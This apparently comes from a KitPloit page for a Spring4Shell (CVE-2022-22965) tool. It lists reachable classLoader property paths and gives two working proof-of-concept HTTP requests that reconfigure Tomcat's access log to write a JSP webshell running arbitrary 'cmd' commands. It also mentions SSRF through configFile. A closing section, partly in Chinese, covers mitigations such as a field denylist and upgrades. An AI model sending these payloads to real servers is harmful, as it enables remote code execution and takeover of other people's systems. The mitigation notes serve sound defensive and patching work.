    class.module.classLoader.resources.context.realm.x509UsernameRetrieverClassName
    class.module.classLoader.resources.context.sessionTimeout
    class.module.classLoader.resources.context.startupTime
    class.module.classLoader.resources.context.threadBindingListener
    class.module.classLoader.resources.context.unloadDelay
    class.module.classLoader.resources.context.authenticator.next
    class.module.classLoader.resources.context.authenticator.next.asyncSupported
    class.module.classLoader.resources.context.authenticator.next.container
    class.module.classLoader.resources.context.authenticator.next.domain
    class.module.classLoader.resources.context.authenticator.next.next
    class.module.classLoader.resources.context.jarScanner.jarScanFilter
    class.module.classLoader.resources.context.jarScanner.jarScanFilter.defaultPluggabilityScan
    class.module.classLoader.resources.context.jarScanner.jarScanFilter.defaultTldScan
    class.module.classLoader.resources.context.jarScanner.jarScanFilter.pluggabilityScan
    class.module.classLoader.resources.context.jarScanner.jarScanFilter.pluggabilitySkip
    class.module.classLoader.resources.context.jarScanner.jarScanFilter.tldScan
    class.module.classLoader.resources.context.jarScanner.jarScanFilter.tldSkip
    class.module.classLoader.resources.context.manager.engine.backgroundProcessorDelay
    class.module.classLoader.resources.context.manager.engine.cluster
    class.module.classLoader.resources.context.manager.engine.defaultHost
    class.module.classLoader.resources.context.manager.engine.domain
    class.module.classLoader.resources.context.manager.engine.jvmRoute
    class.module.classLoader.resources.context.manager.engine.name
    class.module.classLoader.resources.context.manager.engine.parent
    class.module.classLoader.resources.context.manager.engine.parentClassLoader
    class.module.classLoader.resources.context.manager.engine.realm
    class.module.classLoader.resources.context.manager.engine.service
    class.module.classLoader.resources.context.manager.engine.startChildren
    class.module.classLoader.resources.context.manager.engine.startStopThreads
    class.module.classLoader.resources.context.manager.processExpiresFrequency
    class.module.classLoader.resources.context.manager.sessionIdGenerator
    class.module.classLoader.resources.context.manager.sessionIdGenerator.jvmRoute
    class.module.classLoader.resources.context.manager.sessionIdGenerator.secureRandomAlgorithm
    class.module.classLoader.resources.context.manager.sessionIdGenerator.secureRandomClass
    class.module.classLoader.resources.context.manager.sessionIdGenerator.secureRandomProvider
    class.module.classLoader.resources.context.manager.sessionIdGenerator.sessionIdLength
    class.module.classLoader.resources.context.namingContextListener.envContext.exceptionOnFailedWrite
    class.module.classLoader.resources.context.parent.accessLog.requestAttributesEnabled
    class.module.classLoader.resources.context.parent.pipeline.basic
    class.module.classLoader.resources.context.parent.pipeline.container
    class.module.classLoader.resources.context.parent.startStopExecutor.corePoolSize
    class.module.classLoader.resources.context.parent.startStopExecutor.maximumPoolSize
    class.module.classLoader.resources.context.parent.startStopExecutor.rejectedExecutionHandler
    class.module.classLoader.resources.context.parent.startStopExecutor.threadFactory
    class.module.classLoader.resources.context.realm.cacheRemovalWarningTime
    class.module.classLoader.resources.context.realm.cacheSize
    class.module.classLoader.resources.context.realm.credentialHandler
    class.module.classLoader.resources.context.realm.credentialHandler.algorithm
    class.module.classLoader.resources.context.realm.credentialHandler.encoding
    class.module.classLoader.resources.context.realm.credentialHandler.iterations
    class.module.classLoader.resources.context.realm.credentialHandler.logInvalidStoredCredentials
    class.module.classLoader.resources.context.realm.credentialHandler.saltLength
    class.module.classLoader.resources.context.realm.failureCount
    class.module.classLoader.resources.context.realm.lockOutTime
    class.module.classLoader.resources.context.realm.transportGuaranteeRedirectStatus
    class.module.classLoader.resources.context.servletContext.sessionCookieConfig.comment
    class.module.classLoader.resources.context.servletContext.sessionCookieConfig.domain
    class.module.classLoader.resources.context.servletContext.sessionCookieConfig.httpOnly
    class.module.classLoader.resources.context.servletContext.sessionCookieConfig.maxAge
    class.module.classLoader.resources.context.servletContext.sessionCookieConfig.name
    class.module.classLoader.resources.context.servletContext.sessionCookieConfig.path
    class.module.classLoader.resources.context.servletContext.sessionCookieConfig.secure
    class.module.classLoader.resources.context.manager.engine.pipeline.basic
    class.module.classLoader.resources.context.manager.engine.pipeline.container
    class.module.classLoader.resources.context.manager.engine.service
    class.module.classLoader.resources.context.manager.engine.service.container
    class.module.classLoader.resources.context.manager.engine.service.domain
    class.module.classLoader.resources.context.manager.engine.service.name
    class.module.classLoader.resources.context.manager.engine.service.parentClassLoader
    class.module.classLoader.resources.context.manager.engine.service.server
    class.module.classLoader.resources.context.manager.sessionIdGenerator.sessionIdLength
    class.module.classLoader.resources.context.parent.pipeline.basic
    class.module.classLoader.resources.context.parent.pipeline.basic.asyncSupported
    class.module.classLoader.resources.context.parent.pipeline.basic.container
    class.module.classLoader.resources.context.parent.pipeline.basic.domain
    class.module.classLoader.resources.context.parent.pipeline.basic.next
    class.module.classLoader.resources.context.parent.pipeline.first.asyncSupported
    class.module.classLoader.resources.context.parent.pipeline.first.buffered
    class.module.classLoader.resources.context.parent.pipeline.first.checkExists
    class.module.classLoader.resources.context.parent.pipeline.first.condition
    class.module.classLoader.resources.context.parent.pipeline.first.conditionIf
    class.module.classLoader.resources.context.parent.pipeline.first.conditionUnless
    class.module.classLoader.resources.context.parent.pipeline.first.container
    class.module.classLoader.resources.context.parent.pipeline.first.directory
    class.module.classLoader.resources.context.parent.pipeline.first.domain
    class.module.classLoader.resources.context.parent.pipeline.first.enabled
    class.module.classLoader.resources.context.parent.pipeline.first.encoding
    class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat
    class.module.classLoader.resources.context.parent.pipeline.first.locale
    class.module.classLoader.resources.context.parent.pipeline.first.next
    class.module.classLoader.resources.context.parent.pipeline.first.pattern
    class.module.classLoader.resources.context.parent.pipeline.first.prefix
    class.module.classLoader.resources.context.parent.pipeline.first.renameOnRotate
    class.module.classLoader.resources.context.parent.pipeline.first.requestAttributesEnabled
    class.module.classLoader.resources.context.parent.pipeline.first.rotatable
    class.module.classLoader.resources.context.parent.pipeline.first.suffix
    class.module.classLoader.resources.context.parent.startStopExecutor.rejectedExecutionHandler
    class.module.classLoader.resources.context.parent.startStopExecutor.threadFactory
    class.module.classLoader.resources.context.realm.credentialHandler.saltLength
    class.module.classLoader.resources.context.manager.engine.pipeline.basic
    class.module.classLoader.resources.context.manager.engine.pipeline.basic.asyncSupported
    class.module.classLoader.resources.context.manager.engine.pipeline.basic.container
    class.module.classLoader.resources.context.manager.engine.pipeline.basic.domain
    class.module.classLoader.resources.context.manager.engine.pipeline.basic.next
    class.module.classLoader.resources.context.manager.engine.service.server
    class.module.classLoader.resources.context.manager.engine.service.server.address
    class.module.classLoader.resources.context.manager.engine.service.server.catalina
    class.module.classLoader.resources.context.manager.engine.service.server.catalinaBase
    class.module.classLoader.resources.context.manager.engine.service.server.catalinaHome
    class.module.classLoader.resources.context.manager.engine.service.server.domain
    class.module.classLoader.resources.context.manager.engine.service.server.globalNamingContext
    class.module.classLoader.resources.context.manager.engine.service.server.globalNamingResources
    class.module.classLoader.resources.context.manager.engine.service.server.parentClassLoader
    class.module.classLoader.resources.context.manager.engine.service.server.port
    class.module.classLoader.resources.context.manager.engine.service.server.shutdown
    class.module.classLoader.resources.context.parent.pipeline.first.next
    class.module.classLoader.resources.context.parent.pipeline.first.next.asyncSupported
    class.module.classLoader.resources.context.parent.pipeline.first.next.container
    class.module.classLoader.resources.context.parent.pipeline.first.next.domain
    class.module.classLoader.resources.context.parent.pipeline.first.next.next
    class.module.classLoader.resources.context.parent.pipeline.first.next.showReport
    class.module.classLoader.resources.context.parent.pipeline.first.next.showServerInfo
    class.module.classLoader.resources.context.manager.engine.service.server.catalina
    class.module.classLoader.resources.context.manager.engine.service.server.catalina.await
    class.module.classLoader.resources.context.manager.engine.service.server.catalina.configFile
    class.module.classLoader.resources.context.manager.engine.service.server.catalina.parentClassLoader
    class.module.classLoader.resources.context.manager.engine.service.server.catalina.server
    class.module.classLoader.resources.context.manager.engine.service.server.catalina.useNaming
    class.module.classLoader.resources.context.manager.engine.service.server.catalina.useShutdownHook
    class.module.classLoader.resources.context.manager.engine.service.server.globalNamingContext
    class.module.classLoader.resources.context.manager.engine.service.server.globalNamingContext.exceptionOnFailedWrite
    class.module.classLoader.resources.context.manager.engine.service.server.globalNamingResources
    class.module.classLoader.resources.context.manager.engine.service.server.globalNamingResources.container
    class.module.classLoader.resources.context.manager.engine.service.server.globalNamingResources.domain
    class.module.classLoader.resources.context.manager.engine.service.server.globalNamingResources.transaction
    class.module.classLoader.resources.context.manager.engine.service.server.port
    

    Using the class.module.classLoader.resources.context.parent.pipeline, you can set the attributes of AccessLog, and then use the log writing functionality to write a webshell. The POC is as follows: ```text GET /CVE_2022_22965_war/spring/get-user-info?password=password&user.name=enokiy&user.age=100&names[0]=aaaaaa&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=_3&class.module.classLoader.resources.context.parent.pipeline.first.checkExists=true&class.module.classLoader.resources.context.parent.pipeline.first.rotatable=true&class.module.classLoader.resources.context.parent.pipeline.first.prefix=test&class.module.classLoader.resources.context.parent.pipeline.first.buffered=false&class.module.classLoader.resources.context.parent.pipeline.first.directory=/XXXXXXX/&class.module.classLoader.resources.context.parent.pipeline.first.pattern=%3C%25%7B%25%7Dt%20java.io.InputStream%20in%3DRuntime.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3Bint%20a%3D-1%3Bbyte%5B%5D%20b%3Dnew%20byte%5B2048%5D%3Bout.print(%22%3Cpre%3E%22)%3Bwhile(a%3Din.read(b)!%3D-1)%7Bout.println(new%20String(b))%3B%7D%20out.print(%22%3C%2Fpre%3E%22)%3B%20%25%7B%25%7Dt%3E

    root@kitploit:~
    ![](https://assets.kitploit.com/production/public/readmes/35879/57f0473b7120c6732e1260bef21f012b5d14fdd93634f1b75f6405e3545a2cfb.png)
    
    ![](https://assets.kitploit.com/production/public/readmes/35879/49ca7c4815e7b41d943ebbc658df2adae6c094cbc449461fbd6e1a3f12ec1a03.png)
    
    Alternatively, use the request header to pass the value of the pattern:
    
    * Tomcat access log pattern: https://tomcat.apache.org/tomcat-8.0-doc/config/valve.html```
    GET /CVE_2022_22965_war/spring/get-user-info?password=password&user.name=enokiy&user.age=100&names[0]=aaaaaa&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=_3&class.module.classLoader.resources.context.parent.pipeline.first.checkExists=true&class.module.classLoader.resources.context.parent.pipeline.first.rotatable=true&class.module.classLoader.resources.context.parent.pipeline.first.prefix=test&class.module.classLoader.resources.context.parent.pipeline.first.buffered=false&class.module.classLoader.resources.context.parent.pipeline.first.directory=/XXXX/webapps/CVE_2022_22965_war/&class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7BCVE-Test-Poc%7Di HTTP/1.1
    Host: 127.0.0.1:9999
    Accept-Encoding: gzip, deflate
    Accept: */*
    Accept-Language: en
    CVE-Test-Poc:<% java.io.InputStream in=Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream();int a=-1;byte[] b=new byte[2048];out.print("<pre>");while(a=in.read(b)!=-1){out.println(new String(b));} out.print("</pre>"); %>
    

    You can also exploit SSRF using class.module.classLoader.resources.context.configFile.

    Other exploitable attributes need further examination of the role of each attribute.

    Note that modifying the above attributes may cause the service to restart, so it doesn't matter if you are testing on your own, but never directly use these PoCs in a production environment unless you clearly understand and can bear the consequences of their exploitation!!

    Vulnerability Fix & Mitigation

    In the new version's fix, there are mainly two points to prevent variable overwriting:

    1. Disable the binding of WebDataBinder to specific fields via global settings for disallowFields:```java @ControllerAdvice @Order(Ordered.LOWEST_PRECEDENCE) public class BinderControllerAdvice { @InitBinder public void setAllowedFields(WebDataBinder dataBinder) { String[] denylist = new String[]{"class.", "Class.", ".class.", ".Class."}; dataBinder.setDisallowedFields(denylist); } }
    root@kitploit:~
    但是这种黑名单的方式可能存在被绕过的可能;临时使用ok,但不是长久之计;
    
    2. 在CachedIntrospectionResults中,获取beaninfo的时候增加了判断,变成了仅允许Class类的name 变量:
    
    ![](https://assets.kitploit.com/production/public/readmes/35879/dc44c04cdc51c71f135c2eab8b3d8e7b6101a60a44a1a7f39a6e71a39ac543a4.png)
    
    **其他规避措施:**
    
    1. tomcat的新版本中也做了漏洞规避,刚开始使用tomcat 8.5.78版本,结果无法浮现,通过调试发现使用class.module.classLoader.resources时在该tomcat的版本下获取的resources是空的,从而导致无法利用,所以升级tomcat版本也可以规避该漏洞;
    2. jdk9以下不受该漏洞影响。
    
    Download Tool